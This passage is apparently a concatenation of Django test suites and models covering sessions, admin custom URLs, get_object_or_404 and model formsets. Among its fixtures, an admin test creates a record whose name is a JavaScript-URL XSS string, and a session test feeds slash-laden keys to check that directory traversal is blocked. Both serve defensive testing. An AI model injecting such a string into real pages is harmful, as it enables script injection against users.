        # a SuspiciousOperation in the same way as an IOError - by creating
        # a new session, making it unclear whether the slashes were detected.
        with self.assertRaises(InvalidSessionKey):
            self.backend()._key_to_file("a\\b\\c")

    def test_invalid_key_forwardslash(self):
        # Ensure we don't allow directory-traversal
        with self.assertRaises(InvalidSessionKey):
            self.backend()._key_to_file("a/b/c")

    @override_settings(
        SESSION_ENGINE="django.contrib.sessions.backends.file",
        SESSION_COOKIE_AGE=0,
    )
    def test_clearsessions_command(self):
        """
        Test clearsessions command for clearing expired sessions.
        """
        storage_path = self.backend._get_storage_path()
        file_prefix = settings.SESSION_COOKIE_NAME

        def count_sessions():
            return len([
                session_file for session_file in os.listdir(storage_path)
                if session_file.startswith(file_prefix)
            ])

        self.assertEqual(0, count_sessions())

        # One object in the future
        self.session['foo'] = 'bar'
        self.session.set_expiry(3600)
        self.session.save()

        # One object in the past
        other_session = self.backend()
        other_session['foo'] = 'bar'
        other_session.set_expiry(-3600)
        other_session.save()

        # One object in the present without an expiry (should be deleted since
        # its modification time + SESSION_COOKIE_AGE will be in the past when
        # clearsessions runs).
        other_session2 = self.backend()
        other_session2['foo'] = 'bar'
        other_session2.save()

        # Three sessions are in the filesystem before clearsessions...
        self.assertEqual(3, count_sessions())
        management.call_command('clearsessions')
        # ... and two are deleted.
        self.assertEqual(1, count_sessions())


class CacheSessionTests(SessionTestsMixin, unittest.TestCase):

    backend = CacheSession

    # Some backends might issue a warning
    @ignore_warnings(module="django.core.cache.backends.base")
    def test_load_overlong_key(self):
        self.session._session_key = (string.ascii_letters + string.digits) * 20
        self.assertEqual(self.session.load(), {})

    def test_default_cache(self):
        self.session.save()
        self.assertIsNotNone(caches['default'].get(self.session.cache_key))

    @override_settings(CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.dummy.DummyCache',
        },
        'sessions': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
            'LOCATION': 'session',
        },
    }, SESSION_CACHE_ALIAS='sessions')
    def test_non_default_cache(self):
        # Re-initialize the session backend to make use of overridden settings.
        self.session = self.backend()

        self.session.save()
        self.assertIsNone(caches['default'].get(self.session.cache_key))
        self.assertIsNotNone(caches['sessions'].get(self.session.cache_key))

    def test_create_and_save(self):
        self.session = self.backend()
        self.session.create()
        self.session.save()
        self.assertIsNotNone(caches['default'].get(self.session.cache_key))


class SessionMiddlewareTests(TestCase):

    @override_settings(SESSION_COOKIE_SECURE=True)
    def test_secure_session_cookie(self):
        request = RequestFactory().get('/')
        response = HttpResponse('Session test')
        middleware = SessionMiddleware()

        # Simulate a request the modifies the session
        middleware.process_request(request)
        request.session['hello'] = 'world'

        # Handle the response through the middleware
        response = middleware.process_response(request, response)
        self.assertTrue(
            response.cookies[settings.SESSION_COOKIE_NAME]['secure'])

    @override_settings(SESSION_COOKIE_HTTPONLY=True)
    def test_httponly_session_cookie(self):
        request = RequestFactory().get('/')
        response = HttpResponse('Session test')
        middleware = SessionMiddleware()

        # Simulate a request the modifies the session
        middleware.process_request(request)
        request.session['hello'] = 'world'

        # Handle the response through the middleware
        response = middleware.process_response(request, response)
        self.assertTrue(
            response.cookies[settings.SESSION_COOKIE_NAME]['httponly'])
        self.assertIn(
            http_cookies.Morsel._reserved['httponly'],
            str(response.cookies[settings.SESSION_COOKIE_NAME])
        )

    @override_settings(SESSION_COOKIE_HTTPONLY=False)
    def test_no_httponly_session_cookie(self):
        request = RequestFactory().get('/')
        response = HttpResponse('Session test')
        middleware = SessionMiddleware()

        # Simulate a request the modifies the session
        middleware.process_request(request)
        request.session['hello'] = 'world'

        # Handle the response through the middleware
        response = middleware.process_response(request, response)
        self.assertFalse(response.cookies[settings.SESSION_COOKIE_NAME]['httponly'])

        self.assertNotIn(http_cookies.Morsel._reserved['httponly'],
                         str(response.cookies[settings.SESSION_COOKIE_NAME]))

    def test_session_save_on_500(self):
        request = RequestFactory().get('/')
        response = HttpResponse('Horrible error')
        response.status_code = 500
        middleware = SessionMiddleware()

        # Simulate a request the modifies the session
        middleware.process_request(request)
        request.session['hello'] = 'world'

        # Handle the response through the middleware
        response = middleware.process_response(request, response)

        # Check that the value wasn't saved above.
        self.assertNotIn('hello', request.session.load())

    def test_session_update_error_redirect(self):
        path = '/foo/'
        request = RequestFactory().get(path)
        response = HttpResponse()
        middleware = SessionMiddleware()

        request.session = DatabaseSession()
        request.session.save(must_create=True)
        request.session.delete()

        # Handle the response through the middleware. It will try to save the
        # deleted session which will cause an UpdateError that's caught and
        # results in a redirect to the original page.
        response = middleware.process_response(request, response)

        # Check that the response is a redirect.
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response['Location'], path)

    def test_session_delete_on_end(self):
        request = RequestFactory().get('/')
        response = HttpResponse('Session test')
        middleware = SessionMiddleware()

        # Before deleting, there has to be an existing cookie
        request.COOKIES[settings.SESSION_COOKIE_NAME] = 'abc'

        # Simulate a request that ends the session
        middleware.process_request(request)
        request.session.flush()

        # Handle the response through the middleware
        response = middleware.process_response(request, response)

        # Check that the cookie was deleted, not recreated.
        # A deleted cookie header looks like:
        #  Set-Cookie: sessionid=; expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/
        self.assertEqual(
            'Set-Cookie: {}={}; expires=Thu, 01-Jan-1970 00:00:00 GMT; '
            'Max-Age=0; Path=/'.format(
                settings.SESSION_COOKIE_NAME,
                '""' if sys.version_info >= (3, 5) else '',
            ),
            str(response.cookies[settings.SESSION_COOKIE_NAME])
        )

    @override_settings(SESSION_COOKIE_DOMAIN='.example.local', SESSION_COOKIE_PATH='/example/')
    def test_session_delete_on_end_with_custom_domain_and_path(self):
        request = RequestFactory().get('/')
        response = HttpResponse('Session test')
        middleware = SessionMiddleware()

        # Before deleting, there has to be an existing cookie
        request.COOKIES[settings.SESSION_COOKIE_NAME] = 'abc'

        # Simulate a request that ends the session
        middleware.process_request(request)
        request.session.flush()

        # Handle the response through the middleware
        response = middleware.process_response(request, response)

        # Check that the cookie was deleted, not recreated.
        # A deleted cookie header with a custom domain and path looks like:
        #  Set-Cookie: sessionid=; Domain=.example.local;
        #              expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0;
        #              Path=/example/
        self.assertEqual(
            'Set-Cookie: {}={}; Domain=.example.local; expires=Thu, '
            '01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/example/'.format(
                settings.SESSION_COOKIE_NAME,
                '""' if sys.version_info >= (3, 5) else '',
            ),
            str(response.cookies[settings.SESSION_COOKIE_NAME])
        )

    def test_flush_empty_without_session_cookie_doesnt_set_cookie(self):
        request = RequestFactory().get('/')
        response = HttpResponse('Session test')
        middleware = SessionMiddleware()

        # Simulate a request that ends the session
        middleware.process_request(request)
        request.session.flush()

        # Handle the response through the middleware
        response = middleware.process_response(request, response)

        # A cookie should not be set.
        self.assertEqual(response.cookies, {})
        # The session is accessed so "Vary: Cookie" should be set.
        self.assertEqual(response['Vary'], 'Cookie')

    def test_empty_session_saved(self):
        """
        If a session is emptied of data but still has a key, it should still
        be updated.
        """
        request = RequestFactory().get('/')
        response = HttpResponse('Session test')
        middleware = SessionMiddleware()

        # Set a session key and some data.
        middleware.process_request(request)
        request.session['foo'] = 'bar'
        # Handle the response through the middleware.
        response = middleware.process_response(request, response)
        self.assertEqual(tuple(request.session.items()), (('foo', 'bar'),))
        # A cookie should be set, along with Vary: Cookie.
        self.assertIn(
            'Set-Cookie: sessionid=%s' % request.session.session_key,
            str(response.cookies)
        )
        self.assertEqual(response['Vary'], 'Cookie')

        # Empty the session data.
        del request.session['foo']
        # Handle the response through the middleware.
        response = HttpResponse('Session test')
        response = middleware.process_response(request, response)
        self.assertEqual(dict(request.session.values()), {})
        session = Session.objects.get(session_key=request.session.session_key)
        self.assertEqual(session.get_decoded(), {})
        # While the session is empty, it hasn't been flushed so a cookie should
        # still be set, along with Vary: Cookie.
        self.assertGreater(len(request.session.session_key), 8)
        self.assertIn(
            'Set-Cookie: sessionid=%s' % request.session.session_key,
            str(response.cookies)
        )
        self.assertEqual(response['Vary'], 'Cookie')


# Don't need DB flushing for these tests, so can use unittest.TestCase as base class
class CookieSessionTests(SessionTestsMixin, unittest.TestCase):

    backend = CookieSession

    def test_save(self):
        """
        This test tested exists() in the other session backends, but that
        doesn't make sense for us.
        """
        pass

    def test_cycle(self):
        """
        This test tested cycle_key() which would create a new session
        key for the same session data. But we can't invalidate previously
        signed cookies (other than letting them expire naturally) so
        testing for this behavior is meaningless.
        """
        pass

    @unittest.expectedFailure
    def test_actual_expiry(self):
        # The cookie backend doesn't handle non-default expiry dates, see #19201
        super(CookieSessionTests, self).test_actual_expiry()

    def test_unpickling_exception(self):
        # signed_cookies backend should handle unpickle exceptions gracefully
        # by creating a new session
        self.assertEqual(self.session.serializer, JSONSerializer)
        self.session.save()

        self.session.serializer = PickleSerializer
        self.session.load()

    @unittest.skip("Cookie backend doesn't have an external store to create records in.")
    def test_session_load_does_not_create_record(self):
        pass

    @unittest.skip("CookieSession is stored in the client and there is no way to query it.")
    def test_session_save_does_not_resurrect_session_logged_out_in_other_context(self):
        pass






from functools import update_wrapper

from django.contrib import admin
from django.db import models
from django.http import HttpResponseRedirect
from django.urls import reverse
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Action(models.Model):
    name = models.CharField(max_length=50, primary_key=True)
    description = models.CharField(max_length=70)

    def __str__(self):
        return self.name


class ActionAdmin(admin.ModelAdmin):
    """
    A ModelAdmin for the Action model that changes the URL of the add_view
    to '<app name>/<model name>/!add/'
    The Action model has a CharField PK.
    """

    list_display = ('name', 'description')

    def remove_url(self, name):
        """
        Remove all entries named 'name' from the ModelAdmin instance URL
        patterns list
        """
        return [url for url in super(ActionAdmin, self).get_urls() if url.name != name]

    def get_urls(self):
        # Add the URL of our custom 'add_view' view to the front of the URLs
        # list.  Remove the existing one(s) first
        from django.conf.urls import url

        def wrap(view):
            def wrapper(*args, **kwargs):
                return self.admin_site.admin_view(view)(*args, **kwargs)
            return update_wrapper(wrapper, view)

        info = self.model._meta.app_label, self.model._meta.model_name

        view_name = '%s_%s_add' % info

        return [
            url(r'^!add/$', wrap(self.add_view), name=view_name),
        ] + self.remove_url(view_name)


class Person(models.Model):
    name = models.CharField(max_length=20)


class PersonAdmin(admin.ModelAdmin):

    def response_post_save_add(self, request, obj):
        return HttpResponseRedirect(
            reverse('admin:admin_custom_urls_person_history', args=[obj.pk]))

    def response_post_save_change(self, request, obj):
        return HttpResponseRedirect(
            reverse('admin:admin_custom_urls_person_delete', args=[obj.pk]))


class Car(models.Model):
    name = models.CharField(max_length=20)


class CarAdmin(admin.ModelAdmin):

    def response_add(self, request, obj, post_url_continue=None):
        return super(CarAdmin, self).response_add(
            request, obj, post_url_continue=reverse('admin:admin_custom_urls_car_history', args=[obj.pk]))


site = admin.AdminSite(name='admin_custom_urls')
site.register(Action, ActionAdmin)
site.register(Person, PersonAdmin)
site.register(Car, CarAdmin)






from django.conf.urls import url

from .models import site

urlpatterns = [
    url(r'^admin/', site.urls),
]












from __future__ import unicode_literals

from django.contrib.admin.utils import quote
from django.contrib.auth.models import User
from django.template.response import TemplateResponse
from django.test import TestCase, override_settings
from django.urls import reverse

from .models import Action, Car, Person


@override_settings(ROOT_URLCONF='admin_custom_urls.urls',)
class AdminCustomUrlsTest(TestCase):
    """
    Remember that:
    * The Action model has a CharField PK.
    * The ModelAdmin for Action customizes the add_view URL, it's
      '<app name>/<model name>/!add/'
    """

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        Action.objects.create(name='delete', description='Remove things.')
        Action.objects.create(name='rename', description='Gives things other names.')
        Action.objects.create(name='add', description='Add things.')
        Action.objects.create(name='path/to/file/', description="An action with '/' in its name.")
        Action.objects.create(
            name='path/to/html/document.html',
            description='An action with a name similar to a HTML doc path.'
        )
        Action.objects.create(
            name='javascript:alert(\'Hello world\');">Click here</a>',
            description='An action with a name suspected of being a XSS attempt'
        )

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_basic_add_GET(self):
        """
        Ensure GET on the add_view works.
        """
        add_url = reverse('admin_custom_urls:admin_custom_urls_action_add')
        self.assertTrue(add_url.endswith('/!add/'))
        response = self.client.get(add_url)
        self.assertIsInstance(response, TemplateResponse)
        self.assertEqual(response.status_code, 200)

    def test_add_with_GET_args(self):
        """
        Ensure GET on the add_view plus specifying a field value in the query
        string works.
        """
        response = self.client.get(reverse('admin_custom_urls:admin_custom_urls_action_add'), {'name': 'My Action'})
        self.assertContains(response, 'value="My Action"')

    def test_basic_add_POST(self):
        """
        Ensure POST on add_view works.
        """
        post_data = {
            '_popup': '1',
            "name": 'Action added through a popup',
            "description": "Description of added action",
        }
        response = self.client.post(reverse('admin_custom_urls:admin_custom_urls_action_add'), post_data)
        self.assertContains(response, 'Action added through a popup')

    def test_admin_URLs_no_clash(self):
        """
        Test that some admin URLs work correctly.
        """
        # Should get the change_view for model instance with PK 'add', not show
        # the add_view
        url = reverse('admin_custom_urls:%s_action_change' % Action._meta.app_label, args=(quote('add'),))
        response = self.client.get(url)
        self.assertContains(response, 'Change action')

        # Should correctly get the change_view for the model instance with the
        # funny-looking PK (the one with a 'path/to/html/document.html' value)
        url = reverse(
            'admin_custom_urls:%s_action_change' % Action._meta.app_label,
            args=(quote("path/to/html/document.html"),)
        )
        response = self.client.get(url)
        self.assertContains(response, 'Change action')
        self.assertContains(response, 'value="path/to/html/document.html"')

    def test_post_save_add_redirect(self):
        """
        Ensures that ModelAdmin.response_post_save_add() controls the
        redirection after the 'Save' button has been pressed when adding a
        new object.
        Refs 8001, 18310, 19505.
        """
        post_data = {'name': 'John Doe'}
        self.assertEqual(Person.objects.count(), 0)
        response = self.client.post(reverse('admin_custom_urls:admin_custom_urls_person_add'), post_data)
        persons = Person.objects.all()
        self.assertEqual(len(persons), 1)
        redirect_url = reverse('admin_custom_urls:admin_custom_urls_person_history', args=[persons[0].pk])
        self.assertRedirects(response, redirect_url)

    def test_post_save_change_redirect(self):
        """
        Ensures that ModelAdmin.response_post_save_change() controls the
        redirection after the 'Save' button has been pressed when editing an
        existing object.
        Refs 8001, 18310, 19505.
        """
        Person.objects.create(name='John Doe')
        self.assertEqual(Person.objects.count(), 1)
        person = Person.objects.all()[0]
        post_url = reverse('admin_custom_urls:admin_custom_urls_person_change', args=[person.pk])
        response = self.client.post(post_url, {'name': 'Jack Doe'})
        self.assertRedirects(response, reverse('admin_custom_urls:admin_custom_urls_person_delete', args=[person.pk]))

    def test_post_url_continue(self):
        """
        Ensures that the ModelAdmin.response_add()'s parameter `post_url_continue`
        controls the redirection after an object has been created.
        """
        post_data = {'name': 'SuperFast', '_continue': '1'}
        self.assertEqual(Car.objects.count(), 0)
        response = self.client.post(reverse('admin_custom_urls:admin_custom_urls_car_add'), post_data)
        cars = Car.objects.all()
        self.assertEqual(len(cars), 1)
        self.assertRedirects(response, reverse('admin_custom_urls:admin_custom_urls_car_history', args=[cars[0].pk]))






"""
DB-API Shortcuts

``get_object_or_404()`` is a shortcut function to be used in view functions for
performing a ``get()`` lookup and raising a ``Http404`` exception if a
``DoesNotExist`` exception was raised during the ``get()`` call.

``get_list_or_404()`` is a shortcut function to be used in view functions for
performing a ``filter()`` lookup and raising a ``Http404`` exception if a
``DoesNotExist`` exception was raised during the ``filter()`` call.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


class ArticleManager(models.Manager):
    def get_queryset(self):
        return super(ArticleManager, self).get_queryset().filter(authors__name__icontains='sir')


@python_2_unicode_compatible
class Article(models.Model):
    authors = models.ManyToManyField(Author)
    title = models.CharField(max_length=50)
    objects = models.Manager()
    by_a_sir = ArticleManager()

    def __str__(self):
        return self.title












from __future__ import unicode_literals

from django.http import Http404
from django.shortcuts import get_list_or_404, get_object_or_404
from django.test import TestCase

from .models import Article, Author


class GetObjectOr404Tests(TestCase):
    def test_get_object_or_404(self):
        a1 = Author.objects.create(name="Brave Sir Robin")
        a2 = Author.objects.create(name="Patsy")

        # No Articles yet, so we should get a Http404 error.
        with self.assertRaises(Http404):
            get_object_or_404(Article, title="Foo")

        article = Article.objects.create(title="Run away!")
        article.authors.set([a1, a2])
        # get_object_or_404 can be passed a Model to query.
        self.assertEqual(
            get_object_or_404(Article, title__contains="Run"),
            article
        )

        # We can also use the Article manager through an Author object.
        self.assertEqual(
            get_object_or_404(a1.article_set, title__contains="Run"),
            article
        )

        # No articles containing "Camelot".  This should raise a Http404 error.
        with self.assertRaises(Http404):
            get_object_or_404(a1.article_set, title__contains="Camelot")

        # Custom managers can be used too.
        self.assertEqual(
            get_object_or_404(Article.by_a_sir, title="Run away!"),
            article
        )

        # QuerySets can be used too.
        self.assertEqual(
            get_object_or_404(Article.objects.all(), title__contains="Run"),
            article
        )

        # Just as when using a get() lookup, you will get an error if more than
        # one object is returned.

        with self.assertRaises(Author.MultipleObjectsReturned):
            get_object_or_404(Author.objects.all())

        # Using an empty QuerySet raises a Http404 error.
        with self.assertRaises(Http404):
            get_object_or_404(Article.objects.none(), title__contains="Run")

        # get_list_or_404 can be used to get lists of objects
        self.assertEqual(
            get_list_or_404(a1.article_set, title__icontains="Run"),
            [article]
        )

        # Http404 is returned if the list is empty.
        with self.assertRaises(Http404):
            get_list_or_404(a1.article_set, title__icontains="Shrubbery")

        # Custom managers can be used too.
        self.assertEqual(
            get_list_or_404(Article.by_a_sir, title__icontains="Run"),
            [article]
        )

        # QuerySets can be used too.
        self.assertEqual(
            get_list_or_404(Article.objects.all(), title__icontains="Run"),
            [article]
        )

    def test_bad_class(self):
        # Given an argument klass that is not a Model, Manager, or Queryset
        # raises a helpful ValueError message
        msg = "First argument to get_object_or_404() must be a Model, Manager, or QuerySet, not 'str'."
        with self.assertRaisesMessage(ValueError, msg):
            get_object_or_404(str("Article"), title__icontains="Run")

        class CustomClass(object):
            pass

        msg = "First argument to get_object_or_404() must be a Model, Manager, or QuerySet, not 'CustomClass'."
        with self.assertRaisesMessage(ValueError, msg):
            get_object_or_404(CustomClass, title__icontains="Run")

        # Works for lists too
        msg = "First argument to get_list_or_404() must be a Model, Manager, or QuerySet, not 'list'."
        with self.assertRaisesMessage(ValueError, msg):
            get_list_or_404([Article], title__icontains="Run")






from __future__ import unicode_literals

import datetime
import uuid

from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=100)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


class BetterAuthor(Author):
    write_speed = models.IntegerField()


@python_2_unicode_compatible
class Book(models.Model):
    author = models.ForeignKey(Author, models.CASCADE)
    title = models.CharField(max_length=100)

    class Meta:
        unique_together = (
            ('author', 'title'),
        )
        ordering = ['id']

    def __str__(self):
        return self.title

    def clean(self):
        # Ensure author is always accessible in clean method
        assert self.author.name is not None


@python_2_unicode_compatible
class BookWithCustomPK(models.Model):
    my_pk = models.DecimalField(max_digits=5, decimal_places=0, primary_key=True)
    author = models.ForeignKey(Author, models.CASCADE)
    title = models.CharField(max_length=100)

    def __str__(self):
        return '%s: %s' % (self.my_pk, self.title)


class Editor(models.Model):
    name = models.CharField(max_length=100)


@python_2_unicode_compatible
class BookWithOptionalAltEditor(models.Model):
    author = models.ForeignKey(Author, models.CASCADE)
    # Optional secondary author
    alt_editor = models.ForeignKey(Editor, models.SET_NULL, blank=True, null=True)
    title = models.CharField(max_length=100)

    class Meta:
        unique_together = (
            ('author', 'title', 'alt_editor'),
        )

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class AlternateBook(Book):
    notes = models.CharField(max_length=100)

    def __str__(self):
        return '%s - %s' % (self.title, self.notes)


@python_2_unicode_compatible
class AuthorMeeting(models.Model):
    name = models.CharField(max_length=100)
    authors = models.ManyToManyField(Author)
    created = models.DateField(editable=False)

    def __str__(self):
        return self.name


class CustomPrimaryKey(models.Model):
    my_pk = models.CharField(max_length=10, primary_key=True)
    some_field = models.CharField(max_length=100)


# models for inheritance tests.


@python_2_unicode_compatible
class Place(models.Model):
    name = models.CharField(max_length=50)
    city = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Owner(models.Model):
    auto_id = models.AutoField(primary_key=True)
    name = models.CharField(max_length=100)
    place = models.ForeignKey(Place, models.CASCADE)

    def __str__(self):
        return "%s at %s" % (self.name, self.place)


class Location(models.Model):
    place = models.ForeignKey(Place, models.CASCADE, unique=True)
    # this is purely for testing the data doesn't matter here :)
    lat = models.CharField(max_length=100)
    lon = models.CharField(max_length=100)


@python_2_unicode_compatible
class OwnerProfile(models.Model):
    owner = models.OneToOneField(Owner, models.CASCADE, primary_key=True)
    age = models.PositiveIntegerField()

    def __str__(self):
        return "%s is %d" % (self.owner.name, self.age)


@python_2_unicode_compatible
class Restaurant(Place):
    serves_pizza = models.BooleanField(default=False)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Product(models.Model):
    slug = models.SlugField(unique=True)

    def __str__(self):
        return self.slug


@python_2_unicode_compatible
class Price(models.Model):
    price = models.DecimalField(max_digits=10, decimal_places=2)
    quantity = models.PositiveIntegerField()

    def __str__(self):
        return "%s for %s" % (self.quantity, self.price)

    class Meta:
        unique_together = (('price', 'quantity'),)


class MexicanRestaurant(Restaurant):
    serves_tacos = models.BooleanField(default=False)


class ClassyMexicanRestaurant(MexicanRestaurant):
    restaurant = models.OneToOneField(MexicanRestaurant, models.CASCADE, parent_link=True, primary_key=True)
    tacos_are_yummy = models.BooleanField(default=False)


# models for testing unique_together validation when a fk is involved and
# using inlineformset_factory.
@python_2_unicode_compatible
class Repository(models.Model):
    name = models.CharField(max_length=25)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Revision(models.Model):
    repository = models.ForeignKey(Repository, models.CASCADE)
    revision = models.CharField(max_length=40)

    class Meta:
        unique_together = (("repository", "revision"),)

    def __str__(self):
        return "%s (%s)" % (self.revision, six.text_type(self.repository))


# models for testing callable defaults (see bug #7975). If you define a model
# with a callable default value, you cannot rely on the initial value in a
# form.
class Person(models.Model):
    name = models.CharField(max_length=128)


class Membership(models.Model):
    person = models.ForeignKey(Person, models.CASCADE)
    date_joined = models.DateTimeField(default=datetime.datetime.now)
    karma = models.IntegerField()


# models for testing a null=True fk to a parent
class Team(models.Model):
    name = models.CharField(max_length=100)


@python_2_unicode_compatible
class Player(models.Model):
    team = models.ForeignKey(Team, models.SET_NULL, null=True)
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


# Models for testing custom ModelForm save methods in formsets and inline formsets
@python_2_unicode_compatible
class Poet(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Poem(models.Model):
    poet = models.ForeignKey(Poet, models.CASCADE)
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Post(models.Model):
    title = models.CharField(max_length=50, unique_for_date='posted', blank=True)
    slug = models.CharField(max_length=50, unique_for_year='posted', blank=True)
    subtitle = models.CharField(max_length=50, unique_for_month='posted', blank=True)
    posted = models.DateField()

    def __str__(self):
        return self.name


# Models for testing UUID primary keys
class UUIDPKParent(models.Model):
    uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    name = models.CharField(max_length=255)


class UUIDPKChild(models.Model):
    uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    name = models.CharField(max_length=255)
    parent = models.ForeignKey(UUIDPKParent, models.CASCADE)


class ChildWithEditablePK(models.Model):
    name = models.CharField(max_length=255, primary_key=True)
    parent = models.ForeignKey(UUIDPKParent, models.CASCADE)


class AutoPKChildOfUUIDPKParent(models.Model):
    name = models.CharField(max_length=255)
    parent = models.ForeignKey(UUIDPKParent, models.CASCADE)


class AutoPKParent(models.Model):
    name = models.CharField(max_length=255)


class UUIDPKChildOfAutoPKParent(models.Model):
    uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    name = models.CharField(max_length=255)
    parent = models.ForeignKey(AutoPKParent, models.CASCADE)


class ParentWithUUIDAlternateKey(models.Model):
    uuid = models.UUIDField(unique=True, default=uuid.uuid4, editable=False)
    name = models.CharField(max_length=50)


class ChildRelatedViaAK(models.Model):
    name = models.CharField(max_length=255)
    parent = models.ForeignKey(ParentWithUUIDAlternateKey, models.CASCADE, to_field='uuid')












from __future__ import unicode_literals

import datetime
import re
from datetime import date
from decimal import Decimal

from django import forms
from django.core.exceptions import ImproperlyConfigured
from django.db import models
from django.forms.models import (
    BaseModelFormSet, _get_foreign_key, inlineformset_factory,
    modelformset_factory,
)
from django.test import TestCase, skipUnlessDBFeature
from django.utils import six

from .models import (
    AlternateBook, Author, AuthorMeeting, BetterAuthor, Book, BookWithCustomPK,
    BookWithOptionalAltEditor, ClassyMexicanRestaurant, CustomPrimaryKey,
    Location, Membership, MexicanRestaurant, Owner, OwnerProfile, Person,
    Place, Player, Poem, Poet, Post, Price, Product, Repository, Restaurant,
    Revision, Team,
)


class DeletionTests(TestCase):
    def test_deletion(self):
        PoetFormSet = modelformset_factory(Poet, fields="__all__", can_delete=True)
        poet = Poet.objects.create(name='test')
        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '1',
            'form-MAX_NUM_FORMS': '0',
            'form-0-id': str(poet.pk),
            'form-0-name': 'test',
            'form-0-DELETE': 'on',
        }
        formset = PoetFormSet(data, queryset=Poet.objects.all())
        formset.save(commit=False)
        self.assertEqual(Poet.objects.count(), 1)

        formset.save()
        self.assertTrue(formset.is_valid())
        self.assertEqual(Poet.objects.count(), 0)

    def test_add_form_deletion_when_invalid(self):
        """
        Make sure that an add form that is filled out, but marked for deletion
        doesn't cause validation errors.
        """
        PoetFormSet = modelformset_factory(Poet, fields="__all__", can_delete=True)
        poet = Poet.objects.create(name='test')
        # One existing untouched and two new unvalid forms
        data = {
            'form-TOTAL_FORMS': '3',
            'form-INITIAL_FORMS': '1',
            'form-MAX_NUM_FORMS': '0',
            'form-0-id': six.text_type(poet.id),
            'form-0-name': 'test',
            'form-1-id': '',
            'form-1-name': 'x' * 1000,  # Too long
            'form-2-id': six.text_type(poet.id),  # Violate unique constraint
            'form-2-name': 'test2',
        }
        formset = PoetFormSet(data, queryset=Poet.objects.all())
        # Make sure this form doesn't pass validation.
        self.assertIs(formset.is_valid(), False)
        self.assertEqual(Poet.objects.count(), 1)

        # Then make sure that it *does* pass validation and delete the object,
        # even though the data in new forms aren't actually valid.
        data['form-0-DELETE'] = 'on'
        data['form-1-DELETE'] = 'on'
        data['form-2-DELETE'] = 'on'
        formset = PoetFormSet(data, queryset=Poet.objects.all())
        self.assertIs(formset.is_valid(), True)
        formset.save()
        self.assertEqual(Poet.objects.count(), 0)

    def test_change_form_deletion_when_invalid(self):
        """
        Make sure that a change form that is filled out, but marked for deletion
        doesn't cause validation errors.
        """
        PoetFormSet = modelformset_factory(Poet, fields="__all__", can_delete=True)
        poet = Poet.objects.create(name='test')
        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '1',
            'form-MAX_NUM_FORMS': '0',
            'form-0-id': six.text_type(poet.id),
            'form-0-name': 'x' * 1000,
        }
        formset = PoetFormSet(data, queryset=Poet.objects.all())
        # Make sure this form doesn't pass validation.
        self.assertIs(formset.is_valid(), False)
        self.assertEqual(Poet.objects.count(), 1)

        # Then make sure that it *does* pass validation and delete the object,
        # even though the data isn't actually valid.
        data['form-0-DELETE'] = 'on'
        formset = PoetFormSet(data, queryset=Poet.objects.all())
        self.assertIs(formset.is_valid(), True)
        formset.save()
        self.assertEqual(Poet.objects.count(), 0)

    def test_outdated_deletion(self):
        poet = Poet.objects.create(name='test')
        poem = Poem.objects.create(name='Brevity is the soul of wit', poet=poet)

        PoemFormSet = inlineformset_factory(Poet, Poem, fields="__all__", can_delete=True)

        # Simulate deletion of an object that doesn't exist in the database
        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '2',
            'form-0-id': str(poem.pk),
            'form-0-name': 'foo',
            'form-1-id': str(poem.pk + 1),  # doesn't exist
            'form-1-name': 'bar',
            'form-1-DELETE': 'on',
        }
        formset = PoemFormSet(data, instance=poet, prefix="form")

        # The formset is valid even though poem.pk + 1 doesn't exist,
        # because it's marked for deletion anyway
        self.assertTrue(formset.is_valid())

        formset.save()

        # Make sure the save went through correctly
        self.assertEqual(Poem.objects.get(pk=poem.pk).name, "foo")
        self.assertEqual(poet.poem_set.count(), 1)
        self.assertFalse(Poem.objects.filter(pk=poem.pk + 1).exists())


class ModelFormsetTest(TestCase):
    def test_modelformset_factory_without_fields(self):
        """ Regression for #19733 """
        message = (
            "Calling modelformset_factory without defining 'fields' or 'exclude' "
            "explicitly is prohibited."
        )
        with self.assertRaisesMessage(ImproperlyConfigured, message):
            modelformset_factory(Author)

    def test_simple_save(self):
        qs = Author.objects.all()
        AuthorFormSet = modelformset_factory(Author, fields="__all__", extra=3)

        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 3)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_form-0-name">Name:</label>'
            '<input id="id_form-0-name" type="text" name="form-0-name" maxlength="100" />'
            '<input type="hidden" name="form-0-id" id="id_form-0-id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_form-1-name">Name:</label>'
            '<input id="id_form-1-name" type="text" name="form-1-name" maxlength="100" />'
            '<input type="hidden" name="form-1-id" id="id_form-1-id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
